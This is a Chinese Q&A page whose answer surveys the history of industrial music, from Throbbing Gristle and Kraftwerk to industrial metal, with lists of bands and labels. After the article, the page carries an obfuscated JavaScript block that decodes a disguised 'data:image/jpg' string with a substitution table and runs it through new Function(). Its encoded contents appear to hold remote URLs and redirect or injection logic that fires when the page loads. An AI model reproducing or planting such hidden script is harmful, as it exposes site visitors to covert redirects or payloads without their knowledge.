谁可以具体滴下重金属的真正含义?

顺便说说摇滚吧怎么还有死亡重金属和工业重金属啊
2025-04-02 02:35:08
推荐回答(1个)
回答1:

工业……音乐
(Industrial Music)?
没说的,这个名词不是来自于最早某些人认为的那样——音乐很机械,就像工厂里的机器的声音——太感性啦!实际上,这个名称来自于英国谢菲尔德一个叫“工业唱片”的唱片公司(Industrial Records),公司的成立者是一个叫Throbbing Gristle(跳动的软骨)的乐队,这支乐队在1975年末脱胎于一个叫Coum Transmissions的“表演艺术”团体。公司旗下的Monte Cazazza(蒙特·卡扎扎)被认为是“工业音乐”一词的发明者。所以,工业音乐的诞辰元年基本上可以认为是1975年,Throbbing Gristle也就可以说是公认的工业音乐头号恐龙啦!
“工业唱片”的理念所反对的是统治整个七十年代音乐界的关于“音乐要具真实性”的说法。
一开始,其实一些很“工业”的乐队其实并没有被冠以“工业乐队”的头衔,只是在八十年代中期,这个词才开始被广为传播。今天,“工业音乐”已成为一个大烂其街的名词,一些呆头呆脑的摇滚乐队也开始自称“工业乐队”,加上传媒恶炒,甚至一支叫作Icebreaker(破冰船)的爵士/古典乐队也被形容为“很工业”。既然那些摇滚乐队都没有太多耐心去研究什么是“真正的工业音乐”,我们也最好尽量简短地说说这“真正的工业音乐”是什么样子吧!
工业之声:表面观察
重型打击乐:机械的节奏和“工业味道”的打击乐是工业音乐最基本的元素,这是为什么工业音乐不像流行歌曲或节奏布鲁斯的原因。
合成器与电子乐器的旋律、失真或人造的人声:电子成分是工业音乐永远的主干,电子乐器的旋律或者从大千世界中拷贝或采样来的声音贯穿始终——蒸汽机、铆钉枪、锻造机、电钻……等等。
拷贝/粘贴式的歌曲结构:结构与层次始终是“工人”们注意的方面。
种族音乐:作者多是些“愤怒的中产阶级白人男青年”,主题多关注于“疏离、冷漠、愤怒、痛苦、压抑和控制”。
在《非主流通讯》上,有人试图将工业音乐定义为“在以工厂为基础单位的经济社会状况下,对严酷污染和非人性化世界的艺术反映”,——难道工业美学就是路德主义(拆掉机器!)那一套吗?恐怕武断了一点,不过至少他们提到了一些先驱们的名字:Karlheinz Stockhausen(卡尔海因茨·斯托克豪森)、David Vorhaus(戴维·沃尔豪斯)、Frank Zappa(弗兰克·扎帕)、Klaus Schulze(克劳斯·舒尔茨)。其实如果再加上以下的几条好像就会完善多了:信息化(有那么多关于工业音乐的理论和出版物!音乐简直成了信息战的武器。)、休克疗法(像未来主义、达达主义和超现实主义一样对待艺术!)、有组织的自治(独立唱片公司等等。)、特别的音乐元素与合成器的使用、反音乐(噪音的艺术!)。
你发现了吗?这正是20世纪的文化传统啊!
前卫音乐、工业思潮
的形成:老帮子们
工业音乐至今仍处在变化当中,乐迷、艺人乃至评论家们对它的起源仍处争论当中,我们认为,比较近的原始灵感源泉有:
1、五十年代末六十年代初William S.Burroughs(威廉·巴勒斯)、Brion Gysin(布里昂·基辛)这些音响实验者。他们在采样器和合成器产生之前便已经开始利用录音技术将一些日常谈话和声响拼贴成一些不同寻常的声音作品。
2、像Sun Ra这样的前卫“爵士”艺术家;
3、一些受过良好古典音乐训练的、无法归类的实验艺术家,像三四十年代的Edgard Varese(艾德加·瓦雷斯)、六十年代的Holger Czukay(霍尔格·丘凯)。Edgard Varese创作了第一部全部使用打击乐的知名的“西方”音乐片断,他所受的是法国和意大利前卫的“机器音乐”的启发。其他一些类似的著名的作曲家还包括John Cage(约翰·凯奇,骗子还是先知?)、Phillip Glass(菲力浦·格拉斯,简约主义老明星)以及后来的Brian Eno(布莱恩·伊诺,曾是Roxy Music乐队成员,前后都大有作为)。
4、六十年代“迷幻”摇滚的大量兴起,这是实验主义数量上的顶峰,Moog合成器的产生使拷贝/粘贴这样的工作方式变得简单易行,在一些传统的歌曲结构里前实验主义大行其道,比如Pink Floyd(平克·弗洛伊德)早期的实验派作品、Jefferson Airplane(杰弗逊飞机)的《After Bathing At Baxter》等等。
“前工业”
“工业”这种声音(而非名词)出现在六十年代末的德国。1969年,一支叫Can(罐头)的德国乐队推出了他们的首张专辑《Monster Music》,在流行音乐界它显得如此不同:电子实验、重量感、震撼人心的节奏、匪夷所思的音响拼贴。随后,Faust(浮士德)、Amon Duul(阿蒙·杜尔)、Kong等一批乐队出品了一系列与Can一脉相承的作品,“条顿节奏”或“空间摇滚”之词便来自于那时。许多人都注意到了这些德国实验团体独特的机械重型节拍,最终大家一致将其形容为“很条顿化”(实际即是德国化)。
1971年,一支自称Kraftwerk(发电站)的德国乐队在德国和英国开始有名起来,这乐队全面依靠电子设备“创作”音乐,他们把自己的风格称之为“电体音乐”(Electronic Body Music,即EBM)。老实讲,这的确是一支机器人乐队,他们与机器的关系亲密得就像近亲,不仅他们的“歌”(一般都长得要命)是全部用合成器演奏的,而且他们的唱也全部被处理得和机器人无异,他们最著名专辑的封面更令人怀疑他们已经提前换装了电子内脏和人造皮肤。后来Kraftwerk顺应潮流玩起了迪斯科,但他们对工业音乐的影响(以及欧洲迪斯科、高科技音乐、hip-hop等等沾电子边的音乐)是决定性的。而且,重要的是,他们的机械音乐还上了排行榜!
工业音乐:软骨开始跳动
上文书说到,“软骨”开始跳动以前叫Coum Transmissions,这是个由四个艺校学生组成的团体,那时他们是欧洲“知识分子艺术运动”的一份子,经常参与前卫剧院里古怪惊悚的舞台表演,他们的表演是音乐和戏剧的混合物,为了达到恐吓观众的目的,他们一方面在舞台上煞有介事地大搞暴力***表演,另一方面找来了很多怪里怪气的打击乐器以加强气氛(前卫艺术嘛!)。1976年,这几个人将团名改为Throbbing Gristle,并开始制造一系列“音乐”专辑(一些是他们的现场录音,一些是在录音室里制作)。然而,他们作为一支乐队远比以前的“多媒体闹剧”团体受欢迎,在知名度和唱片销售方面乐队开始显现出前途(虽然他们的首张专辑仅仅复制了500份)。
Throbbing Gristle的音乐是很难描述的,因为他们在传统音乐技能上的修养积累实在是有限,他们音乐存在的根基是建立在观念之上的,它包括了Burroughs与Gysin的拷贝/粘贴式的音响实验,Kraftwerk式的电子胡闹和Can以及其它德国实验团体的“条顿节奏”,并在紧张度和可听性上有了不同程度的变化。在他们的作品中,有些由巨大的冲击波构成,有些却显得十分压抑。别人有时会把这种怪异色彩理解为一种有趣的幽默,但乐队主唱P-Orridge却认为这是自己哲学使命感的表现——他要打碎罩在社会表面上的那层玫瑰色玻璃,将生活严酷的真实性呈现出来,以娱乐我们的形式达到震惊我们的目的。Throbbing Gristle认为他们不是演员而是社会活动家。所以,他们甚至将他们的工作内容,即MUSIC改称为MUZAK,以体现其意识主导的作用。同时,Throbbing Gristle还将视觉影像的重要性提到了与音乐同等的地位,而今,这已成为了一项“工业传统”。
乐队的支持者、乐手及朋友Monte Cazazza将Throbbing Gristle的音乐称为“为工业的人们所做的工业的音乐”,这启发了Throbbing Gristle,他们将自己的公司命名为“Industrial Records”(工业唱片),从此,那些与Throbbing Gristle的哲学观和创意不谋而合、使用大量电子设备制造的音乐开始被称为“工业”音乐。
Throbbing Gristle在这个“工业唱片”里的作为看来有些蹊跷:他们在自己的专辑上滥用标志并且杜撰一些荒唐的社会团体名称,比如“反社会不安全部”之类的东西,同时在专辑中堂而皇之地刊出他们身穿军装或其它制服的照片,当然还有感觉上更恐怖或淫秽的东西。
工业:更大规模的革命
最初,只有“工业唱片”旗下的艺人才被称作是“工业”之声,但后来像SPK、NON等等大批乐队也开始推出类似的东西,于是,工业音乐的历史真正开始了——以各自不同的方向,比如在美国,像Killing Joke(致命玩笑)和Chrome(铬)这样的乐队开始将吉他与最初的电子声响和“条顿节奏”熔为一炉;欧洲的Einsturzende Neubauten(被摧毁的新建筑,德国)和Front 242(前方242,比利时)则借助机器化和禁欲主义的形象开始走向一条相当商业化的(或至少是商业上比较成功的)道路。比如我们杂志以前介绍过的Front 242,他们有意避免在音乐电视和专辑内页中曝光,当他们有预谋地露面后,人们看到的是身着全身工作服、头戴劳保眼镜的“没面目”,目的很明显:乐队希望制造一个非人的、无灵魂的形象。
1983年,《Wild Planet》撰文描述了欧洲的“工业”景象,这导致了一系列各自不同的艺人开始拿这个词说自己的事,其中包括Steve Reich(斯蒂夫·瑞奇)、Mark Shreeve(马克·史瑞夫)、AMM和Laibach(拉巴克,这是斯洛文尼亚首都的德语名称)等等。由于这些人说得都挺头头是道,所以本来一个比较模糊的概念开始变得清晰起来,“工业音乐”也开始了分化,特别明显的是产生了两大工业阵营:实验派与舞(曲)/摇(滚)派。最流行的“工业”艺人基本都是舞/摇派(当然舞/摇派也有不商业的),比如Front 242或Ministry(内阁),他们将工业音乐中最有听众缘的那部分注入了摇滚和高科技音乐,比如激进、偏执、妄想狂、攻击性等等,这也是“工业音乐”在后重金属时代能大举窜红的法宝;而另一派则对工业音乐与宗教音乐、学院派电子乐、即兴音乐和纯噪音的渊源大加探寻,成为理论家们自得其乐的宝贝儿,不过随着近几年氛围音乐(Ambient)的流行,实验派也开始比以前吃香了。不过总而言之,不管是流行还是所谓地下,在当今都只能意味着唱片市场上的产品又丰富啦!要不哪里来的那么多可口CD?
最终,“工业音乐”变成了一个大家族,一些听起来其实差别很大的子风格在这个名称下同床异梦。而且会有这样的情况,许多工业音乐爱好者认为Throbbing Gristle的音乐“一点也不工业”,更多的人会凭感觉将其归纳为“实验噪音”。
这种音乐仍在发展。“屠宰场”(Slaughter-House)用来形容有大量吉他噪音的工业乐队,而“电体音乐”(EBM,Ectronic Body Music)则用来形容更具舞蹈性的乐队,比如Nitzer Ebb或Die Warzau。
九十年代,“工业乐队”们再接再厉,卖出了更多的唱片,并得以签约于Capitol、Mute和RCA这样的大唱片公司。以美国工业音乐的大本营Wax Trax!公司为例,他们旗下大牌艺人在某一时期内纷纷转投更有利可图的主流大公司,如果不是及时投靠别的大公司,Wax Trax!差点关门大吉。迪厅里的音乐也开始越来越“工业”,它不仅“给劲”,而且歌曲结构适于DJ们现场“串烧”。
“工业音乐”发了!
您说说,这破革命有什么用?
未来
未来会怎样?汽车降价,电子设备越来越便宜。
方便面青年们穷困依旧,愤怒依旧,并开始节衣缩食购买电脑。工业音乐作为一种“事业”应该更有前途。我们看到,多媒体艺术实验和***明星的扮靓心得出现在同一份报纸上,这暗示着未来。
艺术进步不会永远是好事情。
21世纪,理论家和投机分子会继续涌现,甲壳虫变成了海顿莫扎特,Trent Raznor(NIN)变成了Bob Dylan。在下一个世纪中,工业音乐肯定无法继续作为一种艺术观念独立存在,它必将在大量的商业复制中飞速发展,深入人心,他将改变人们的流行概念、创作方法、审美情趣——直到有一天人们彻底厌倦。
不过到那时世界也就变了样啦!(喂!你还记得我吗……?)
下期我们将继续这一话题,把工业音乐最商业化的相关风格——工业重金属做一较详尽的介绍,明星出镜,敬请留意。
工业货架子
(仅作导购参考,无阅读价值)
如此分类一定会招致学究们的批评,不过我们只是些口带贩子罢了,只希望大家能买到合适自己听的玩艺儿,至于有些误导嘛……呵呵,在所难免啊,反正已经被误导这么多年了,忍了吧。
正统工业音乐:Throbbing Gristle、Cabaret Voltaire、Coil、ClockDVA、Crash Worship、Einsturzende Neubauten、Laibach、Psychic TV、Richard H.Kirk、Severed Heads、SPK、Thomas Leer and Robert Rental、Monte Cazazza、The Leather Nun、Elizabeth Welch、Whitehouse、Test Dept、Dave Henderson……
氛围工业音乐:Dead Voices On Air、Lustmord、Rober Rich
电子/高科技工业音乐:Luc Van Acker、Apoptygma Berzerk、Babyland、Benestrophe、Cat Rapes Dog、Dirk Ivens、Download、Front 242、Front Line Assembly、Haujobb、Industrial Heads、Ipecac Loop、Kraftwerk、Mentallo & The Fixer、Sanitarium Borderline、Nitzer Ebb、Pounce International、Propaganda、Vampire State Building、Xorcist……
工业重金属:Paradise Regained、Chemlab、Die Krupps、Dunkelheit、Fear Factory、The Fueled Cell、Godflesh、The MAUL、Ministry、Nine Inch Nails、Red Harvest、The Revolting Cocks、Sister Machine Gun、Skinny Puppy、Skrew、The Swamp Terrorists、Warworld……
工业摇滚:Big Black、Disco Judas、Foetus、Clint Ruin、Steroid Maximus、Jim G.、Thirlwell、Grotus、Killing Joke、Lard、Pigface、Swans、The Young Gods、Zeni Geva、K.K.Null……
工业厂牌
(仅供口带商人参考)
21st Circuitry Records:旗下艺人:Scar Tissue、Luxt,、Xorcist、Covenant、Unit 187、Gracious Shades、Steril、Hate Dept、Templebeat等等。
Alien8 Recordings:噪音/实验音乐厂牌。
Analog Aether:独立工业、电子、歌特、氛围音乐厂牌。
ANT-ZEN:噪音轰炸到氛围催眠一应俱全。
ArtOfFact Records:工业电子厂牌。
Candyland:由Project Pitchfork成员建立。
Cold Meat Industry:工业结合死亡金属、黑金属、噪音。
COP International:旗下艺人:Battery、Deathline International、Of Skin and Saliva、Index、Slave Unit、Pulse Legion、Under the Noise、Diatribe、Fishtank No.9、Imbue、Pain Emission、The Razor Skyline、Soil & Eclipse、Urania。
Cyberware Productions:旗下艺人:Terminal Choice、Neuroactive、Fuze Box Machine、Chaingun Operate。
Daft Records:Dirk Ivens的公司。
dependent records:旗下艺人:VNV Nation、Covenant、Velvet Acid Christ、Suicide Commando。
Dystopian Records:专攻政治性工业音乐,强调力度。
Electric Death Trip Records:旗下艺人:Velvet Acid Christ、Toxic Coma、Mr.Mersalt。
Extreme Music:很有规模也很有特色,氛围音乐、工业、世界音乐、电子、爵士、实验、前卫以及其它说不清的东西。
Flaming Fish Music:预言风格的工业音乐、歌特、合成器流行乐及其相关风格。
Flying Esophagus Productions:声音恶梦。
Forced Evolution Media:Ipecac Loop的公司,折衷主义的工业电子音乐。
Glasnost Music:darkwave、歌特、电子、工业、宗教音乐,Abscess、Mortal Constraint的公司。
Gun Music:旗下艺人:Railgun、Takshaka、Dysfonik、Ammo,实验电子音乐和工业音乐。
Hymen:强力高科技噪音。
Mechanoise Labs:极端电子音乐独立厂牌,旗下艺人:Asphalt Leash、Seda E Marg、Drozophyll、bETON bARRAGE。
Metropolis Records:一个较大的公司,EBM、电子、工业与歌特,旗下艺人:Terminal Sect、Mentallo & The Fixer、Numb、Yeht Mae、Dominion。
Minus Habens Records:旗下艺人:Nightmare Lodge、Sigillum S、Dive、Pankow、Shock
Corridor、Lagowski、Blackhouse、Klange等等。
Multimood Records:出产氛围音乐、电子、极简派、种族音乐、当代古典音乐、实验音乐,风格繁杂。
Music Research:流行的Zoth Ommog的母公司。
Mute:特大型的独立厂牌,基本上已经算是主流公司了,虽然风格很多,但像Einstuzende Neubauten、Throbbing Gristle这些经典工业艺人的专辑在这里都有再版。
Nettwerk Productions:很有影响的一个公司,旗下艺人:Sarah McLachlan、Delerium、Skinny Puppy、Consolidated、Rose Chronicles等等。
October:旗下艺人:DE/Vision等,以工业音乐为骨架的流行音乐。
Pendragon Records:美国电子工业音乐的中坚,旗下艺人:Haujobb、Fektion Fekler、Individual Totem。
Planet-X Records:专攻各种工业电子音乐。
Poison Productions:专门发行新的工业/实验音乐,特色在于只出磁带不做CD。
Possessive Blindfold Recordings:专攻阴暗派电子音乐。
SDS Productions:EBM、工业、阴暗派高科技音乐的地下厂牌。
Staalplaat:从实验性的机器音乐到氛围音乐包含很广。
SubSpace Communications AB:旗下艺人:S.P.O.C.K.、Covenant、Cat Rapes Dog等等。
Synthetic Product Records:德国电子独立音乐。
Wax Trax!:虽然现在属于主流公司TVT旗下,但他们依然保持了一定的艺术特色,而且他们旗下的大牌恐怕也只有Mute能与其相提并论了,旗下艺人:Ministry、Sister Machine Gun、KMFDM、Richard H.Kirk等等。
Zoth Ommog:传奇的EBM厂牌,旗下艺人:Leaether Strip、X Marks the Pedwalk、Funker Vogt等。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();